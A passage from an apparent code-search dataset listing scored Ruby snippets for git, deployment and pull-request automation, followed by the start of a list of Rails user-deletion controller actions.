"title": "" }, { "docid": "2d5b419d4bc7b4cc2c5af96dc3d7319f", "score": "0.48184454", "text": "def main\n local_branch_name = ARGV[0]\n return if local_branch_name.nil?\n\n system(\"git checkout -b #{local_branch_name}\")\n system(\"git push -u origin #{local_branch_name}:yg-#{local_branch_name}\")\nend", "title": "" }, { "docid": "d7f7426b12afbc712f3fd4ee523c1625", "score": "0.48174345", "text": "def sha\n commit = fetch_release_commit(shift_argument)\n sha = git(\"rev-parse --quiet --verify #{commit}\")\n if sha.empty?\n display(commit)\n exit 1\n else\n display(sha)\n end\n end", "title": "" }, { "docid": "30140bbd9530237691537886e720ef0d", "score": "0.4811396", "text": "def squash_merge_commit_title\n @squash_merge_commit_title.nil? ? 'COMMIT_OR_PR_TITLE' : @squash_merge_commit_title\n end", "title": "" }, { "docid": "1cd037bb4165089fbae0042c3d66e149", "score": "0.47928506", "text": "def commit!(sha)\n @repo.commit(sha)\n end", "title": "" }, { "docid": "41dd7636922adedbcae57900d8e62bcd", "score": "0.47883353", "text": "def git_commit(repo, sha, options = T.unsafe(nil)); end", "title": "" }, { "docid": "803f972103da53049043d400887ffaab", "score": "0.4783735", "text": "def babysit\n display_github_shas!\n display_deployed_shas!\n deploy_to_outdated_envs! unless options.no_deploy\n clear_memoized_values!\n end", "title": "" }, { "docid": "4c05478f461e2b42a5ce4c61b4f3d464", "score": "0.4774611", "text": "def cut_deploy_success_tag\n `git tag -a hrkudply_success_#{Time.now.to_s(:compressed)} -m 'Deploy to Heroku complete`\nend", "title": "" }, { "docid": "d7ee86bf6471231b8488f74b7946f4b1", "score": "0.47709006", "text": "def bump(state = nil)\n bump_params = []\n bump_params.push(\"--branch=#{options[:branch]}\") if options[:branch]\n bump_params.push(\"--tag=#{options[:tag]}\") if options[:tag]\n bump_params.push('--next') if options[:next] and (not options.has_kay? :tag or options[:tag].empty?)\n bump_params.push('--skip') if options[:skip]\n system \"#{Application::bin}/bump-version.sh #{bump_params.join(' ')} #{state}\"\n say('Complete!', :green)\n end", "title": "" }, { "docid": "7643d39c57570ee8e97cc783a143532c", "score": "0.47636586", "text": "def process_pull(pr)\n log \"===> #{pr.number} #{clone_dir(pr)}\"\n p = Autostager::PullRequest.new(\n pr.head.ref,\n authenticated_url(pr.head.repo.clone_url),\n base_dir,\n clone_dir(pr),\n authenticated_url(pr.base.repo.clone_url),\n )\n if p.staged?\n p.fetch\n if pr.head.sha != p.local_sha\n p.reset_hard\n add_comment = true\n else\n log \"nothing to do on #{pr.number} #{staging_dir(pr)}\"\n add_comment = false\n end\n comment_or_close(p, pr, add_comment)\n else\n p.clone\n comment_or_close(p, pr)\n end\n end", "title": "" }, { "docid": "4205d9b51a2c0da1a5abc9a6cbf29614", "score": "0.4761325", "text": "def check_fast_forward\n missed_refs = `git rev-list #{$newrev}..#{$oldrev}`\n missed_ref_count = missed_refs.split(\"\\n\").size\n if missed_ref_count > 0\n puts \"[POLICY] Cannot push a non fast-forward reference\"\n puts \"[POLICY] missed ref count: #{missed_ref_count}\"\n exit 1\n end\nend", "title": "" }, { "docid": "24efa386ff062d90a58cdc95477f0daf", "score": "0.47601196", "text": "def up\n Branch.where(:pull_request => true).each do |branch|\n pr_number = branch.name.split(\"/\").last\n branch.update(:name => \"prs/#{pr_number}/head\")\n end\n end", "title": "" }, { "docid": "94d26f19e5c981a607f71255fd6df845", "score": "0.47575948", "text": "def sha(length = 40)\n Pkg::Util.in_project_root do\n stdout, = Pkg::Util::Execution.capture3(\"#{Pkg::Util::Tool::GIT} rev-parse --short=#{length} HEAD\")\n stdout.strip\n end\n end", "title": "" }, { "docid": "9929598ec6bf8d166ea362cab6e258bd", "score": "0.47458825", "text": "def sha_repo; end", "title": "" }, { "docid": "d36499e52724af9742680072d4b2e57b", "score": "0.47302172", "text": "def sha!\n @sha = nil\n sha\n end", "title": "" }, { "docid": "67f2e636b4ac7d65a385b2e64120007c", "score": "0.47294217", "text": "def pull(repo, number, options = T.unsafe(nil)); end", "title": "" }, { "docid": "76fc348b37c4f7d185d976c4d2fab6de", "score": "0.47288322", "text": "def check_fast_forward\n missed_refs = `git rev-list #{$newrev}..#{$oldrev}`\n missed_ref_count = missed_refs.split(\"\\n\").size\n if missed_ref_count > 0\n puts \"[POLICY] Cannot push a non fast-forward reference\"\n exit 1\n end\nend", "title": "" }, { "docid": "76fc348b37c4f7d185d976c4d2fab6de", "score": "0.47288322", "text": "def check_fast_forward\n missed_refs = `git rev-list #{$newrev}..#{$oldrev}`\n missed_ref_count = missed_refs.split(\"\\n\").size\n if missed_ref_count > 0\n puts \"[POLICY] Cannot push a non fast-forward reference\"\n exit 1\n end\nend", "title": "" }, { "docid": "2e3643ad8fd83e2055b1029418089f65", "score": "0.47234762", "text": "def fail_if_pr_branch_build_failed\n return unless TravisCI.pull_request?\n\n Log.warning('Checking if previous build for this branch was successful on Travis...')\n\n Log.fatal('Skipping running command because previous build for branch failed.') unless branch_build_successful?\n end", "title": "" }, { "docid": "895e9b4573b5c6be2d2b4d1d0d78e095", "score": "0.47170386", "text": "def git_sha=(_arg0); end", "title": "" }, { "docid": "ac70daf2ad5b482f01aca3ee09d57016", "score": "0.4715516", "text": "def commits_on_files_touched(pr, months_back)\n commits_on_pr_files(pr, months_back).reduce([]) do |acc, commit_list|\n acc + commit_list[1]\n end.flatten.uniq.size\n end", "title": "" }, { "docid": "740d0c62ff4bcfde158ffe5c8564da09", "score": "0.47121057", "text": "def git_reset_hard(host, commit_sha, git_repo_path)\n git_on(host, \"reset --hard #{commit_sha}\", git_repo_path)\nend", "title": "" }, { "docid": "4b98d8aa513b6684feef4deab4fcaec0", "score": "0.4711454", "text": "def post_mainline_changes(_package, remote_branch, buildconf_branch: \"master\")\n post_change(\n # Codebase is a single codebase - i.e. single repo, but\n # tracked across forks\n author: remote_branch.commit_author,\n branch: buildconf_branch,\n source_branch: remote_branch.branch_name,\n category: \"push\",\n codebase: \"\",\n committer: remote_branch.commit_author,\n repository: remote_branch.repository_url,\n revision: remote_branch.sha,\n revlink: remote_branch.repository_url,\n when_timestamp: remote_branch.commit_date.tv_sec\n )\n end", "title": "" }, { "docid": "6a327e0b44d0e19e5b602e3676c84c74", "score": "0.47010213", "text": "def commits_last_x_months(pr, exclude_pull_req, months_back)\n q = <<-QUERY\n select count(c.id) as num_commits\n from projects p, commits c, project_commits pc, pull_requests pr,\n pull_request_history prh\n where p.id = pc.project_id\n and pc.commit_id = c.id\n and p.id = pr.base_repo_id\n and prh.pull_request_id = pr.id\n and prh.action = 'opened'\n and c.created_at < prh.created_at\n and c.created_at > DATE_SUB(prh.created_at, INTERVAL #{months_back} MONTH)\n and pr.id=?\n QUERY\n\n if exclude_pull_req\n q << ' and not exists (select * from pull_request_commits prc1 where prc1.commit_id = c.id)'\n end\n\n db.fetch(q, pr[:id]).first[:num_commits]\n end", "title": "" }, { "docid": "f1e2755000b0900963e3900ec591b11f", "score": "0.46927956", "text": "def cmd\n c = [\"git checkout #{default_branch}\"]\n c << \"git fetch upstream\"\n c << \"git merge upstream/#{default_branch}\"\n c.join(\"\\n\")\n end", "title": "" }, { "docid": "30a4ddda0db7d893570f18dbae653aa3", "score": "0.468989", "text": "def exec(action, *args)\n under_root_dir do\n `git #{action.to_s} #{args.join(' ')}`.split(/\\n/)\n end\n end", "title": "" }, { "docid": "ac10d1c4c00d7f773934e36563b13fed", "score": "0.46879652", "text": "def commit_data(sha); end", "title": "" }, { "docid": "82f25125b7d16a51e00fa598497783b8", "score": "0.46834666", "text": "def change_git!\n @jobs.each_value do |job|\n job[:value][:scm_branch] = \"origin/pr/#{@number}/head\"\n job[:value][:scm_params] = {} unless job[:value][:scm_params]\n job[:value][:scm_params][:refspec] = \"refs/pull/*:refs/remotes/origin/pr/*\"\n end\n end", "title": "" }, { "docid": "f98fb49ff6a53b49141747cdcfcbc4a9", "score": "0.4673511", "text": "def squash2(a)\n #print \"\\n``````````` #{a} `````````\\n\"\n if a[0] == \"car\"\n return \"#{a[1]}[0]\"\n end\n if a[0] == \"cdr\"\n return \"#{a[1]}[1..-1]\"\n end\n if a[1] == \"cdr\"\n return \"#{a[0]}(#{a[2]}[1..-1])\"\n end\n if a[1] == \"car\"\n return \"#{a[0]}(#{a[2]}[0])\"\n end\n if a[0] == \"list\"\n a=a[1..-1]\n i=0\n gg=\"\"\n while i < a.length\n g = squash2(a[i])\n gg=\"#{gg} + #{g}\"\n i=i+1\n end\n gg=gg[3..-1]\n return gg\n end\n return \"#{a[0]} #{a[1]}\"\nend", "title": "" }, { "docid": "84341ea83d623ac2abc1a99348a2341d", "score": "0.4671221", "text": "def revert!\n %x[rm -rf public]\n %x[git checkout master]\n %x[git branch -D deployment]\nend", "title": "" }, { "docid": "9a57579d4b244131abd3a72dc2f1ac69", "score": "0.466381", "text": "def s_quash(launcher, target, skill, msg_push = true)\n return unless __s_beg_step(launcher, target, skill, msg_push)\n # Fail if the target is already attacking last or if we are in a simple battle mode\n if _attacking_last?(target) || $game_temp.vs_type == 1\n _mp(MSG_Fail)\n else\n _mp([:quash, target])\n end\n end", "title": "" }, { "docid": "739b4cbc4714034187615d462a077b77", "score": "0.4663544", "text": "def update_github\n unless environment_is_production\n puts 'NOT updating github because environment is not production'\n return false\n end\n\n puts 'pushing database to github'\n\n @makler_log.info \"------------------------------\"\n @makler_log.info \"updating git\"\n @makler_log.info \"------------------------------\"\n x = Subexec.run \"git add #{@db_dump_file} #{@status_file_name}\"\n x = Subexec.run \"git commit -m 'Updated database dump file and status.json with new makler.ge data'\"\n x = Subexec.run \"git push origin master\"\nend", "title": "" }, { "docid": "8df9d2ee2c940f47a5e9bb8377d1b86e", "score": "0.46537897", "text": "def main\n authorized_keys = build_authorized_keys\n\n encoded_authorized_keys, content_sha = compare_with_existing_keys(authorized_keys)\n\n if encoded_authorized_keys.nil?\n puts \"No new publicKeys to raise PR\"\n else\n create_new_branch_commit(content_sha, encoded_authorized_keys)\n data = create_pull_request\n json = JSON.parse(data)\n puts \"publicKeys of Webops team members to access bastion node has changed. Check the PR: #{json[:url]}\"\n exit 1\n end\nend", "title": "" }, { "docid": "99ad21b573d80981590578cce8c6e949", "score": "0.4652847", "text": "def chop!\n end", "title": "" }, { "docid": "66c28e0f3608932747fce5bb2c49b419", "score": "0.46518427", "text": "def rip_git(pkg, *args)\n if (dir = find_package(pkg))\n Dir.chdir dir\n exec 'git', *args\n end\n end", "title": "" }, { "docid": "8eebac745366e6c315c7c66a5a473c86", "score": "0.46507838", "text": "def commit_and_push\n begin\n @g.add('.')\n @g.commit_all(\"Assets precompilation\")\n rescue Git::GitExecuteError => e\n @logger.error(\"Could not commit. This can occur if there was nothing to commit. Git error: \" + e.inspect)\n end\n\n begin\n @g.push(\"origin\", @compiled_branch)\n rescue Git::GitExecuteError => e\n @logger.error(\"Could not push changes. Git error: \" + e.inspect)\n end\n\n \n end", "title": "" }, { "docid": "cb8406b41e3a03e7ae3bf9ac80d58048", "score": "0.464634", "text": "def commits_on_files_touched(owner, repo, build, months_back)\n commits_on_build_files(owner, repo, build, months_back).reduce([]) do |acc, commit_list|\n acc + commit_list[1]\n end.flatten.uniq.size\n end", "title": "" }, { "docid": "cb8406b41e3a03e7ae3bf9ac80d58048", "score": "0.464634", "text": "def commits_on_files_touched(owner, repo, build, months_back)\n commits_on_build_files(owner, repo, build, months_back).reduce([]) do |acc, commit_list|\n acc + commit_list[1]\n end.flatten.uniq.size\n end", "title": "" }, { "docid": "55f077ea4fe12dd186828033e7204e33", "score": "0.4644797", "text": "def clean_single(number, force=false)\n request = github.pull_request(source_repo, number)\n if request && request.state == 'closed'\n # ensure there are no unmerged commits or '--force' flag has been set\n branch_name = request.head.ref\n if unmerged_commits?(branch_name) && !force\n puts \"Won't delete branches that contain unmerged commits.\"\n puts \"Use '--force' to override.\"\n else\n delete_branch(branch_name)\n end\n end\n rescue Octokit::NotFound\n false\n end", "title": "" }, { "docid": "e02f1a78b43c9dbb1f69d84449a43880", "score": "0.46432593", "text": "def sha_repo=(_arg0); end", "title": "" }, { "docid": "61f7aafb4ed78d74e3a2d0ff586bd0ec", "score": "0.46407095", "text": "def commit_comments(repo, sha, options = T.unsafe(nil)); end", "title": "" }, { "docid": "717c79617d8b0c96da984ad838a2bb4c", "score": "0.4628955", "text": "def warp r = nil\n # save current state and determine revision to warp to\n revision = super r\n if revision\n `git checkout #{revision[:id]} -f > /dev/null 2> /dev/null`\n end\n end", "title": "" }, { "docid": "89a335bef0ade93580afdc2e39e2967d", "score": "0.4624208", "text": "def bump_it_to(version:)\n Bump::Bump.run(version.to_s, commit: false, bundle: false, tag: false)\n $current_version = Bump::Bump.current\n say(\"Bumped to version: #{$current_version}!\".bold)\nend", "title": "" }, { "docid": "48b5668900adbc0791598bc27ca7c9e1", "score": "0.46226692", "text": "def commit(args = \"\")\n system(\"git commit #{args}\")\n raise \"Unsuccessful git commit\" unless $?.success?\n end", "title": "" }, { "docid": "86af4a77a23e948c5da7fc73c01dced5", "score": "0.4618304", "text": "def git; end", "title": "" }, { "docid": "86af4a77a23e948c5da7fc73c01dced5", "score": "0.4618304", "text": "def git; end", "title": "" }, { "docid": "f9428ea76f9f6d30c1745a7a2ce176bd", "score": "0.4613254", "text": "def checkout(revision, *args)\n execute = super(revision, *args)\n\n branch = variable(:branch)\n track_branch = \"\"\n if branch\n track_branch = \"-b #{branch} origin/#{branch}\"\n end\n\n execute.gsub(/-b deploy #{revision}/, track_branch)\n end", "title": "" }, { "docid": "d2b0995d8a49378300ec9d7ee4958f06", "score": "0.46080062", "text": "def run\n guard_clean\n tag_version { git_push } unless already_tagged?\n end", "title": "" }, { "docid": "220b651516cabacce8fb1461996f4de2", "score": "0.46069232", "text": "def pull(remote = T.unsafe(nil), branch = T.unsafe(nil)); end", "title": "" }, { "docid": "caab5daf7b37898748b78d1cd378c9af", "score": "0.4604934", "text": "def update(shell)\n shell.run 'git', 'reset', '--hard', 'HEAD'\n shell.run 'git', 'pull'\n end", "title": "" }, { "docid": "209e8d505d83172f476e5482948bd532", "score": "0.46040267", "text": "def halo_513(token)\n require_relative './lib/halo513.rb'\n token = ENV['GITHUB_TOKEN'] if token.to_s == \"\"\n\n branch = Wardrobe::Halo513.branch_name\n commit_msg = Wardrobe::Halo513.commit_msg\n reviewer = Wardrobe::Halo513.reviewer\n\n in_each_repo_dir(token) do |org, name, repo|\n handler = Wardrobe::Halo513.new\n next unless handler.needs_to_run?\n puts \"Working on #{name}\"\n\n begin\n puts \"create_branch(#{branch})\"\n create_branch(branch)\n rescue Exception => ex\n puts \"Failed to create '#{branch}' branch: #{ex}\"\n ensure\n system \"git checkout #{branch}\"\n end\n\n files_modified = handler.update_dsl_files\n files_modified.each do |file|\n puts \"git add #{file}\"\n system \"git add #{file}\"\n end\n\n begin\n next unless !files_modified.empty?\n puts \"commit_push_pr(#{branch}, #{commit_msg}, #{reviewer})\"\n commit_push_pr(branch, commit_msg, reviewer)\n rescue Exception => ex\n puts \"Failed to commit, push, and create PR for #{org}/#{name}: #{ex}\"\n end\n end\nend", "title": "" }, { "docid": "8d25226051e3a5351312fef7d52c69e2", "score": "0.4597718", "text": "def push_cleanup\n [ \"rm -vrf /tmp/#{application}-*.tgz\",\n [ \"if [ -e #{repository} ]\",\n \"then rm -rf #{repository}\",\n \"fi\"\n ].join(\"; \")\n ].join(\" && \")\n end", "title": "" }, { "docid": "1d78085ff618d4944f9eeea12aab68e1", "score": "0.45966485", "text": "def checkout_ref\n return unless ci?\n\n run %Q[git checkout #{source_ref}]\n run %q[git clean -f -- db]\n end", "title": "" }, { "docid": "7b4a79b2f0f683c70cc37277baf483d0", "score": "0.45955348", "text": "def pr_test(upstream, pr_sha_com, repo, pr_branch)\n git = GitOp.new(@git_dir)\n # get author:\n pr_com = @client.commit(repo, pr_sha_com)\n _author_pr = pr_com.author.login\n # merge PR-branch to upstream branch\n git.merge_pr_totarget(upstream, pr_branch, repo)\n # do valid tests\n run_script\n # del branch\n git.del_pr_branch(upstream, pr_branch)\nend", "title": "" }, { "docid": "c664326a0ee5a7b7772b20ea3b50b649", "score": "0.45950645", "text": "def commit\n $VP.join('.git/refs/heads/master').read[0..8] rescue nil\nend", "title": "" }, { "docid": "656b20088cc6eaa482e4e4888b75376d", "score": "0.45945066", "text": "def pushtobare\n barerepo = Rugged::Repository.new(self.barerepopath)\n satelliterepo = Rugged::Repository.new(self.satelliterepopath)\n remote = Rugged::Remote.lookup(satelliterepo,'origin')\n unless remote \n remote = Rugged::Remote.add(satelliterepo,'origin',barerepo.path)\n end\n remote.push([\"refs/heads/master\"])\n end", "title": "" }, { "docid": "6490939d45a08862645e63bf8abcfa33", "score": "0.4591624", "text": "def perform(*args_list)\n args = args_list.first\n\n sha = args.fetch(:sha)\n repo = args.fetch(:repo)\n name = args.fetch(:name)\n app_id = args.fetch(:app_id)\n build_id = args.fetch(:build_id)\n command_id = args.fetch(:command_id)\n deployment_url = args.fetch(:deployment_url)\n\n command = Command.find(command_id)\n pipeline = command.handler.pipelines[name]\n\n info = pipeline.reap_build(app_id, build_id)\n if info\n artifact = { sha: sha, slug: info[\"slug\"][\"id\"], repo: repo }\n Rails.logger.info \"Build Complete: #{artifact.to_json}\"\n\n payload = {\n state: \"failure\",\n target_url: build_url(app_id, build_id),\n description: \"Chat deployment complete. slash-heroku\"\n }\n payload[:state] = \"success\" if info[\"status\"] == \"succeeded\"\n\n pipeline.create_deployment_status(deployment_url, payload)\n\n handler = command.handler\n if handler\n response = handler.deployment_complete_message(payload, sha)\n command.postback_message(response)\n end\n elsif command.created_at > 15.minutes.ago\n DeploymentReaperJob.set(wait: 10.seconds).perform_later(args)\n else\n Rails.logger.info \"Build expired for command: #{command.id}\"\n payload = {\n state: \"failure\",\n target_url: build_url(app_id, build_id),\n description: \"Heroku build took longer than 15 minutes.\"\n }\n pipeline.create_deployment_status(deployment_url, payload)\n end\n rescue StandardError => e\n Rails.logger.info e.inspect\n Rails.logger.info \"ArgList: #{args_list.inspect}\"\n end", "title": "" }, { "docid": "ed81eb2a0545169a162d26c69d1b7e20", "score": "0.45804393", "text": "def checkout_branch(branch_name)\n sh \"git checkout #{branch_name}\"\nend", "title": "" }, { "docid": "f7f233130ee43d1888d222039ca19b85", "score": "0.45799145", "text": "def git_sha; end", "title": "" }, { "docid": "f7f233130ee43d1888d222039ca19b85", "score": "0.45799145", "text": "def git_sha; end", "title": "" }, { "docid": "593643e8ba6e61137b8899ad77a07039", "score": "0.45775655", "text": "def move_to_original_branch(head_name, orig_head)\n new_head = `git rev-parse HEAD`.chomp\n\n message = \"#{command_name} finished: #{goal_text}\"\n run <<-End\n git update-ref -m \"#{message}\" #{head_name} #{new_head} #{orig_head}\n End\n\n message = \"#{command_name} finished: Moving back to #{head_name}\"\n run <<-End\n git symbolic-ref -m \"#{message}\" HEAD #{head_name}\n End\nend", "title": "" }, { "docid": "593643e8ba6e61137b8899ad77a07039", "score": "0.45775655", "text": "def move_to_original_branch(head_name, orig_head)\n new_head = `git rev-parse HEAD`.chomp\n\n message = \"#{command_name} finished: #{goal_text}\"\n run <<-End\n git update-ref -m \"#{message}\" #{head_name} #{new_head} #{orig_head}\n End\n\n message = \"#{command_name} finished: Moving back to #{head_name}\"\n run <<-End\n git symbolic-ref -m \"#{message}\" HEAD #{head_name}\n End\nend", "title": "" }, { "docid": "5b0e8bf9de58e2e6eddb60faac9165d6", "score": "0.457219", "text": "def pull_on_operand_branch *args\n self.on_operand_branch :pull, *args\n end", "title": "" }, { "docid": "da07d8a1824bb9d2f0684a00acb0fe1d", "score": "0.4564862", "text": "def sha_of_branch branch_name\n output_of \"git rev-parse #{branch_name}\"\nend", "title": "" }, { "docid": "11dcb030119e8131f751ad437d523fbd", "score": "0.4560674", "text": "def commits_to_hottest_file(pr, months_back)\n a = commits_on_pr_files(pr, months_back).map{|x| x}.sort_by { |x| x[1].size}\n unless a.empty?\n a.last[1].size\n else\n 0\n end\n end", "title": "" }, { "docid": "46d4407aef1a3aa1841bd7d23b374040", "score": "0.45606053", "text": "def update\n system \"git add --all && git commit -m '#{Time.now.strftime(\"auto commit @ %Y-%m-%d %H:%M\")}' && git push origin master\"\nend", "title": "" }, { "docid": "064b00836b696884f0cea0c01a747dce", "score": "0.4557856", "text": "def merge_back(commit = branch_name)\n git.capturing.merge({no_edit: true, no_ff: true}, commit) unless config.fake_mode?\n @vendor.postprocess! if @vendor.respond_to? :postprocess!\n @vendor.compute_dependencies!\n end", "title": "" }, { "docid": "58eee89e3cb6b8438b70b16611caf519", "score": "0.4556925", "text": "def commit_build(build_id, total_upload_count)\n puts 'Committing the build'\n commit_response = do_post(\"/builds/#{build_id}/commit.json\", nil)\n if commit_response.code != '200'\n uncommited_json = JSON.parse(commit_response.body)\n fail_build(uncommited_json['error'], build_id)\n else\n poll_for_commit(build_id, total_upload_count)\n end\nend", "title": "" }, { "docid": "be4a3d8790987c4e676c7c2f2e6b48f3", "score": "0.4554834", "text": "def git_add_commit_push(host, branch, message, git_repo_path)\n git_add_everything(host, git_repo_path)\n git_commit_push(host, branch, message, git_repo_path)\nend", "title": "" }, { "docid": "baa029bef80d1f80e94676a86aeac480", "score": "0.45528337", "text": "def back(args)\n\t\t\treturn unless check_args(%w[given_name project_name credit_card_num amount], args)\n\t\t\t\n\t\t\tcontribution = Project.back(args[1], args[0], args[2], args[3])\n\t\t\tif contribution && contribution.valid?\n\t\t\t\tputs \"#{contribution.backer.full_name} backed project #{contribution.project.name} for #{number_to_currency(contribution.amount)}\"\n\t\t\telse\n\t\t\t\tprint_errors(contribution)\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "2bc2300d45b4b4127eab43e8c3907c86", "score": "0.4550889", "text": "def run(action, *args)\n # XXX: HELP with catching stderr and report accordingly.\n\n under_root_dir do\n command = \"git #{action} #{args.join(' ')}\"\n success = system(command)\n success or throw \"Github error when called: #{command}\"\n end\n end", "title": "" }, { "docid": "3b55b330daaa5f6bcfac93e883628fec", "score": "0.45504564", "text": "def merge_pull_request(repo, number, commit_message = T.unsafe(nil), options = T.unsafe(nil)); end", "title": "" }, { "docid": "9429657e995f30eff885786d9b59982a", "score": "0.45486993", "text": "def chop! \n end", "title": "" }, { "docid": "c4b430e439e848bb2992e46f5808ee36", "score": "0.45465785", "text": "def clone_repo(root, repo)\n begin \n destination = \"#{root}/#{repo[\"destination\"]}\"\n rm_rf destination\n sh \"git clone https://github.com/rethinkdb/#{repo[\"repo\"]}.git #{destination}\"\n cd destination\n sh \"git checkout #{repo[\"branch\"]}\"\n rescue Exception\n $stderr.puts \"Error while cloning #{repo[\"repo\"]}\"\n exit 1\n end\nend", "title": "" }, { "docid": "9b55dee77c4aecb5b575fa89e5d27013", "score": "0.45334092", "text": "def install_bottle f1\n f = Formula[\"#{f1}\"]\n opts = ARGV.options_only\n # Is formula pourable?\n pour_bottle = false\n unless ARGV.build_bottle? # --build-bottle defined\n fi = FormulaInstaller.new(f)\n fi.options = f.build.used_options\n fi.build_bottle = ARGV.build_bottle?\n fi.build_from_source = ARGV.build_from_source?\n fi.force_bottle = ARGV.force_bottle?\n\n pour_bottle = fi.pour_bottle?\n opts |= %W[--build-bottle] if ARGV.build_from_source? or !pour_bottle\n end\n\n # Necessary to raise error if bottle fails to pour\n if pour_bottle\n ENV[\"HOMEBREW_DEVELOPER\"] = \"1\"\n elsif ENV.include? \"HOMEBREW_DEVELOPER\"\n ENV.delete \"HOMEBREW_DEVELOPER\"\n end\n\n deps_outd = %x(brew outdated).split(\"\\n\")\n # puts \"deps_outd (install #{f1}): #{deps_outd}\" if deps_outd.length > 0\n install_act = deps_outd.include?(f1) ? \"upgrade\" : \"install\"\n\n # Pour or install formula\n if system_out \"brew\", \"#{install_act}\", \"#{f1}\", *opts\n system_out \"brew\", \"postinstall\", \"#{f1}\"\n else\n if pour_bottle\n opoo \"Bottle may have failed to install\"\n ohai \"Attempting to build source as bottle\"\n opts |= %W[--build-bottle]\n\n if system_out \"brew\", \"#{install_act}\", \"#{f1}\", *opts\n system_out \"brew\", \"postinstall\", \"#{f1}\"\n else\n odie \"Source bottle build failed\"\n end\n else\n odie \"Source bottle build failed\"\n end\n end\nend", "title": "" }, { "docid": "26b4846980c79ab0d8e977d05be976c0", "score": "0.4530776", "text": "def update_from_masterbrew!\n output = ''\n in_prefix do\n if File.directory? '.git'\n safe_system CHECKOUT_COMMAND\n else\n safe_system \"git init\"\n end\n output = execute(UPDATE_COMMAND)\n end\n\n output.split(\"\\n\").reverse.each do |line|\n case line\n when ADDED_FORMULA\n @added_formulae << $1\n when UPDATED_FORMULA\n @updated_formulae << $1 unless @added_formulae.include?($1)\n end\n end\n @added_formulae.sort!\n @updated_formulae.sort!\n \n output.strip != GIT_UP_TO_DATE\n end", "title": "" } ]
d4a1edaae4d92d004632cf64501ce2e7
DELETE /users/1 DELETE /users/1.json
[ { "docid": "ee73a1756f86744ba92f76d2c886ae25", "score": "0.0", "text": "def destroy\n authorize! :destroy, User\n @user = User.find(params[:id])\n if @user.present?\n @user.destroy\n respond_to do |format|\n flash[:success] = 'Usuário deletado com sucesso!'\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end\n\n end", "title": "" } ]
[ { "docid": "be9d8ff5c0124f1d5efc98ec2baa3fc1", "score": "0.7590564", "text": "def test_delete_user\n delete '/users/2'\n data = JSON.parse last_response.body\n\n assert_equal 'Daniel', data['name'], 'Propiedad name incorrecta'\n assert_equal 'Arbelaez', data['last_name'], 'Propiedad last_name incorrecta'\n assert_equal '1094673845', data['document'], 'propiedad document incorrecta'\n end", "title": "" }, { "docid": "a8734c4a0413cb455f2d0df0f8fcd5e5", "score": "0.7535006", "text": "def delete\n puts \"******* delete *******\"\n @user.delete\n respond_to do |format|\n format.html { redirect_to users_url, notice: 'User was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d1bdb0dff73de3d9b03c84a910ab5cf6", "score": "0.7530426", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to api_v1_users_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acf1bfd6dfa0380aa31a8efde7732e86", "score": "0.74716073", "text": "def destroy\n user = User.find(params[:id])\n user.destroy\n\n render json: user\n end", "title": "" }, { "docid": "182545a45c91f56577e4d982a2163076", "score": "0.7450307", "text": "def destroy\n # @api_v1_user.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "184da7ffae8985dd57d5dcc85145a0f6", "score": "0.74005455", "text": "def destroy\n @user_1 = User1.find(params[:id])\n @user_1.destroy\n\n respond_to do |format|\n format.html { redirect_to user_1s_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "48a547bf26d6cb827ad21d18c74a0be9", "score": "0.73815674", "text": "def destroy\n user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "23d5420431a6badf1a5be6ec0b92dbc4", "score": "0.7369995", "text": "def destroy\n @user.destroy\n render json: {}, status: :ok\n end", "title": "" }, { "docid": "e7586b9e01c30dda3bca3565a54acef7", "score": "0.73687035", "text": "def destroy\n @user = HTTParty.delete(\"#{UAA_TOKEN_SERVER}/Users/#{params[\"id\"]}\",\n :headers => {\n 'Content-Type' => 'application/json',\n 'Authorization' => \"Bearer #{session[:access_token]}\",\n 'Accept' => 'application/json',\n } )\n\n respond_to do |format|\n format.html { redirect_to users_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a50700ffebc25b728498bd9a31e3e68c", "score": "0.7362334", "text": "def destroy\n @user.destroy\n render json: {message: \"#{@user.id} deleted\"}, status: :ok\n end", "title": "" }, { "docid": "93c96ce100a97061db1011c64f39a340", "score": "0.73549896", "text": "def destroy\n user = User.find(params[:id])\n user.destroy\n head 204\n end", "title": "" }, { "docid": "00011aeb4e366ee142243e8cd8dbea5b", "score": "0.7348393", "text": "def destroy\n User.find(params[:id]).destroy\n head 204\n end", "title": "" }, { "docid": "74f571ada66f3dcce468fd0ae24a58d5", "score": "0.7345434", "text": "def destroy\n @user1 = User1.find(params[:id])\n @user1.destroy\n\n respond_to do |format|\n format.html { redirect_to user1s_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9fc011024a4990800c031ede66cb7f09", "score": "0.73159516", "text": "def delete_user(id)\n delete \"/1/users/#{id}\"\n end", "title": "" }, { "docid": "9acc47ec98a84118327511a7464c7050", "score": "0.7314843", "text": "def destroy\n user = User.find(params[:id])\n user.destroy\n render json: {message: 'User successfully deleted!'}\n end", "title": "" }, { "docid": "360426e2a850aac27731d4be1b66cf87", "score": "0.7306841", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "360426e2a850aac27731d4be1b66cf87", "score": "0.7306841", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "360426e2a850aac27731d4be1b66cf87", "score": "0.7306841", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "360426e2a850aac27731d4be1b66cf87", "score": "0.7306841", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "360426e2a850aac27731d4be1b66cf87", "score": "0.7306841", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c21e400eb9ceef696a81377597e63a42", "score": "0.7291842", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n \n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { 